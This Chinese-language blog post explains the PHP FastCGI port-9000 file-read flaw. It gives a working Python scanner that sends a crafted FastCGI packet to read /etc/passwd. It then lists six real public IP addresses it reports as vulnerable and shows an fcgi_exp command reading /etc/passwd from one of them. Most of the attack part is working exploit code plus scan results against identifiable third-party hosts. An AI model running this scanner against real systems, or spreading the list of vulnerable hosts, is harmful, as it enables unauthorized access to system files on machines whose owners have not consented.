fastcgi文件读取(代码执行)是个很老的漏洞,漏洞描述: PHP FastCGI 的远程利用
利用该漏洞可读取系统文件,甚至有一定几率成功执行代码。 下载上述文章中提到的: fcgi_exp
协议细节其实我已不关心,只需要一个python的扫描脚本。于是拿wireshark抓了下GaRY的程序,写一小段代码。
外网暴露9000端口的机器自然是非常非常少的,但内网可就说不定了。
import socket import sys def test_fastcgi(ip): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM); sock.settimeout(5.0) sock.connect((ip, 9000)) data = """ 01 01 00 01 00 08 00 00 00 01 00 00 00 00 00 00 01 04 00 01 00 8f 01 00 0e 03 52 45 51 55 45 53 54 5f 4d 45 54 48 4f 44 47 45 54 0f 08 53 45 52 56 45 52 5f 50 52 4f 54 4f 43 4f 4c 48 54 54 50 2f 31 2e 31 0d 01 44 4f 43 55 4d 45 4e 54 5f 52 4f 4f 54 2f 0b 09 52 45 4d 4f 54 45 5f 41 44 44 52 31 32 37 2e 30 2e 30 2e 31 0f 0b 53 43 52 49 50 54 5f 46 49 4c 45 4e 41 4d 45 2f 65 74 63 2f 70 61 73 73 77 64 0f 10 53 45 52 56 45 52 5f 53 4f 46 54 57 41 52 45 67 6f 20 2f 20 66 63 67 69 63 6c 69 65 6e 74 20 00 01 04 00 01 00 00 00 00 """ data_s = '' for _ in data.split(): data_s += chr(int(_,16)) sock.send(data_s) try: ret = sock.recv(1024) if ret.find(':root:') > 0: print ret print '%s is vulnerable!' % ip return True else: return False except Exception, e: pass sock.close() if __name__ == '__main__': if len(sys.argv) == 1: print sys.argv[0], '[ip]' else: test_fastcgi(sys.argv[1])
通过快速扫描9000端口,可以发现几个存在漏洞的机器:
110.164.68.137 is vul ! 110.164.68.148 is vul ! 110.164.68.149 is vul ! 110.164.68.151 is vul ! 110.164.68.154 is vul ! 110.164.68.155 is vul !
fcgi_exp.exe read 110.164.68.137 9000 /etc/passwd